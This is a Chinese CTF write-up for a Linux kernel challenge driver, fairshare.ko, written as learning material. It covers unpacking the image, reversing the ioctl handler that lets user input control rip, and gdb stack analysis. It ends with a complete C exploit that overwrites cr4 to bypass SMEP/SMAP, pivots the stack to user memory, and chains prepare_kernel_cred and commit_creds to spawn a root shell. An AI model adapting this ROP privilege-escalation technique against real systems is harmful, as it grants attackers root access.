题目文件
1
2
3
4总用量 11M
-rwxrwxrwx 1 greydog users 2.4M Apr 6 11:07 1.cpio
-rwxrwxrwx 1 greydog users 7.9M Apr 3 09:00 bzImage
-rwxrwxrwx 1 greydog users 309 Apr 4 07:04 start.sh查看start.sh
1
2
3
4
5
6
7
8
9
10
11
GDB_PORT=1234
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./1.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic quiet nokaslr" \#关闭了kaslr 地址固定
-cpu qemu64,+smep,+smap \#开启了smep和smap 需要设置cr4 bypass
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-gdb tcp::${GDB_PORT} \
-monitor /dev/null -nographic 2>/dev/null
解压bzImage得到vmlinux
1
2
3
4
5
6
7
8
9
10
11$ od -h -A d bzImage | grep --color -m 3 -A 1 -i 8b1f#寻找gzip标志
0016496 2860 007c e0ff 8b1f 0008 0000 0000 0302
0016512 fdec 7c7b e514 f8dd efff 5926 1008 889c
--
0088448 c827 7719 8b1f b2ce b7ae acb6 780d 39f3
0088464 f465 382a fa58 de1a 065e af27 e5dc f843
--
0098464 8b1f de61 f7f1 ed6b 1e79 b33e 4f48 a396
0098480 b7ec 4b7a 77e7 8af8 e123 2805 596f e304
dd if=BZIMAGE.INS bs=1 skip=16502 | gunzip > vmlinux.bin解压cpio文件,得到驱动文件,查看init
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /fairshare.ko
chmod 666 /dev/fairshare
poweroff -d 180 -f &
#setsid /bin/cttyhack setuidgid 1000 /bin/sh#注释掉普通用户
/bin/sh#用root用户方便调试
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
ida打开驱动文件
- ioctl函数,有锁,只有一个do_sport,do_sport后就是bug(),所以进入do_sport函数必须劫持rip
1 | _int64 __fastcall device_ioctl(file *filp, unsigned int cmd, unsigned __int64 arg) |
查看do_sport函数,从用户态拷贝数据,设置栈上某写位置为0x9210,能够劫持rip。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21int __fastcall do_sport(unsigned __int64 arg)
{
control_flow_hijack_primitive cfh; // [rsp+10h] [rbp-98h]
unsigned __int64 v2; // [rsp+A0h] [rbp-8h]
v2 = __readgsqword(0x28u);
copy_from_user(&cfh, arg, 0x90LL);
cfh.rax = 0x9210LL;
cfh.rbx = 0x9210LL;
cfh.rcx = 0x9210LL;
cfh.rdx = 0x9210LL;
cfh.rsi = 0x9210LL;
cfh.r8 = 0x9210LL;
cfh.r9 = 0x9210LL;
cfh.r10 = 0x9210LL;
cfh.r11 = 0x9210LL;
cfh.r12 = 0x9210LL;
cfh.r13 = 0x9210LL;
cfh.r14 = 0x9210LL;
JUMPOUT(__CS__, cfh.rip);
}
漏洞利用
编写poc查看栈分布情况
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60gdb vmlinux.bin
/ # lsmod
fairshare 16384 0 - Live 0xffffffffc0000000 (O)
gdb-peda$ add-symbol-file fairshare.ko 0xffffffffc0000000
add symbol table from file "fairshare.ko" at
.text_addr = 0xffffffffc0000000
Reading symbols from fairshare.ko...done.
gdb-peda$ define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>info registers
>x /10i $rip
>x /10gx $rsp
>end
gdb-peda$ break do_sport
gdb-peda$ target remote localhost:1234
#运行poc后断在do—sport返回
rax 0xacacacacacacacac 0xacacacacacacacac
rbx 0x539 0x539
rcx 0x0 0x0
rdx 0x0 0x0
rsi 0x7ffcac68d510 0x7ffcac68d510
rdi 0xabababababababab 0xabababababababab#第一个参数可控
rbp 0x7ffcac68d480 0x7ffcac68d480
rsp 0xffffc9000011fdc0 0xffffc9000011fdc0
r8 0xabababababababab 0xabababababababab
r9 0x1313131313131313 0x1313131313131313
r10 0x1414141414141414 0x1414141414141414
r11 0x1515151515151515 0x1515151515151515
r12 0x7ffcac68d480 0x7ffcac68d480
r13 0x539 0x539
r14 0x7ffcac68d480 0x7ffcac68d480
r15 0x0 0x0
rip 0xffffffffc0000235 0xffffffffc0000235 <do_sport+181>
eflags 0x246 [ PF ZF IF ]
cs 0x10 0x10
ss 0x18 0x18
ds 0x0 0x0
es 0x0 0x0
fs 0x0 0x0
gs 0x0 0x0
=> 0xffffffffc0000235 <do_sport+181>: push QWORD PTR [rsp+0x8]
0xffffffffc0000239 <do_sport+185>: ret
0xffffffffc000023a <do_sport+186>: mov rcx,QWORD PTR [rsp+0xa0]
0xffffffffc0000242 <do_sport+194>: xor rcx,QWORD PTR gs:0x28
0xffffffffc000024b <do_sport+203>: jne 0xffffffffc000025a <do_sport+218>
0xffffffffc000024d <do_sport+205>: mov eax,0xfffffff3
0xffffffffc0000252 <do_sport+210>: add rsp,0xa8
0xffffffffc0000259 <do_sport+217>: ret
0xffffffffc000025a <do_sport+218>: call 0xffffffff8105a4b0
0xffffffffc000025f: nop
0xffffc9000011fdc0: 0xabababababababab 0xacacacacacacacac#rip可控
0xffffc9000011fdd0: 0x0000000000009210 0x0000000000009210
0xffffc9000011fde0: 0x0000000000009210 0x0000000000009210
0xffffc9000011fdf0: 0x0000000000009210 0xabababababababab#连续可控区域
0xffffc9000011fe00: 0xaeaeaeaeaeaeaeae 0xafafafafafafafaf
0xffffc9000011fe10: 0x0000000000009210 0x0000000000009210
0xffffc9000011fe20: 0x0000000000009210 0x0000000000009210
0xffffc9000011fe30: 0x0000000000009210 0x0000000000009210
0xffffc9000011fe40: 0x0000000000009210 0x1515151515151515- 构造rop链
- bypass smep &smap
- stack migration 跳到用户态空间继续执行提权rop
- 构造rop链
完整exp(很奇怪 前半夜跳到prepare_kernel_cred一直出错 下半夜就好了 )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
void get_shell(){
system("/bin/sh");
}
unsigned long user_cs ,user_ss,user_rflags;
void save_stats() {
asm(
"movq %%cs, %0\n" // mov rcx, cs
"movq %%ss, %1\n" // mov rdx, ss
"pushfq\n" // 把rflags的值压栈
"popq %2\n" // pop rax
:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax
);
printf("user_cs = %lx, user_ss = %lx, user_rflags = %lx\n",
user_cs,
user_ss,
user_rflags
);
}
typedef struct control_flow_hijack_primitive
{
uint64_t rax;
uint64_t rbx;
uint64_t rcx;
uint64_t rdx;
uint64_t rsi;
uint64_t rdi;
uint64_t rsp;
uint64_t rbp;
uint64_t r8;
uint64_t r9;
uint64_t r10;
uint64_t r11;
uint64_t r12;
uint64_t r13;
uint64_t r14;
uint64_t r15;
uint64_t rip;
uint64_t reset_all;
}control_flow_hijack_primitive;
void set_memory(){
uint64_t mmap_start , mmap_size;
mmap_start = 0x1000;
mmap_size = 0x20000;
if( mmap( (void*)mmap_start,
mmap_size,
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,
-1,
0) == MAP_FAILED
)
{
perror("mmap fault\n");
exit(-1);
}
mprotect(mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC);
int i = 0;
uint64_t * mmap_ptr64_0 = (uint64_t *)mmap_start;
for( i = 0; i < mmap_size / 8; i = i + 1)
{
mmap_ptr64_0[i] = mmap_start;
}
save_stats();
uint64_t fakeStack = mmap_start;
u_int64_t * mmap_ptr64 = (uint64_t *)((char *)0x9000 + 0x210);
mmap_ptr64[1] = 0xffffffff810420e0;//xor -> rdi = 0;
mmap_ptr64[2] = 0xffffffff8107a500;//prepare_kernel_cred
mmap_ptr64[3] = 0xffffffff8188d61a;// mov rdi,rax; set rdi for commit_creds
mmap_ptr64[4] = 0x1111111111111111;// commit_creds
mmap_ptr64[5] = 0xffffffff8107a190;// commit_creds
mmap_ptr64[6] = 0xffffffff81046fe0;//swapgs ;ret
mmap_ptr64[7] = 0xffffffff8101fb32;//iretq objdump -j .text -d vmlinux.bin | grep iretq | head -1
mmap_ptr64[8] = get_shell;
mmap_ptr64[9] = user_cs;
mmap_ptr64[10] = user_rflags;
mmap_ptr64[11] = mmap_start +0x1000;
mmap_ptr64[12] = user_ss;
}
int main(void)
{
int fd;
control_flow_hijack_primitive cfhp;
char buf[100];
cfhp.rax = 0xaaaaaaaaaaaaaaaa;
cfhp.rbx = 0xbbbbbbbbbbbbbbbb;
cfhp.rcx = 0xcccccccccccccccc;
cfhp.rdx = 0xdddddddddddddddd;
cfhp.rsi = 0xeeeeeeeeeeeeeeee;
cfhp.rdx = 0xffffffffffffffff;
cfhp.r8 = 0x8888888888888888;
cfhp.r9 = 0x9999999999999999;
cfhp.r10 = 0x1010101010101010;
cfhp.r11 = 0x1111111111111111;
cfhp.r12 = 0x1212121212121212;
cfhp.r13 = 0x1313131313131313;
cfhp.r14 = 0x1414141414141414;
cfhp.r15 = 0x1515151515151515;
cfhp.rdi = 0x00000000000006f0;
cfhp.rip = 0xffffffff810b9bef;//add rsp 0x40 -> mov cr4 rdi
cfhp.rsp = 0xffffffff81046f20; // mov cr4 rdi bypass smep
cfhp.rbp = 0xffffffff810566a2;
cfhp.reset_all = 0xabababababababab;
save_stats();
set_memory();
fd = open("/dev/fairshare",O_RDWR);
ioctl(fd,do_sport,&cfhp);
close(fd);
return 0;
}
总结
- 最好还是编译一个带符号的内核或者下载内核符号表,不然跟到报错输出才知道早就跳出了正常流程。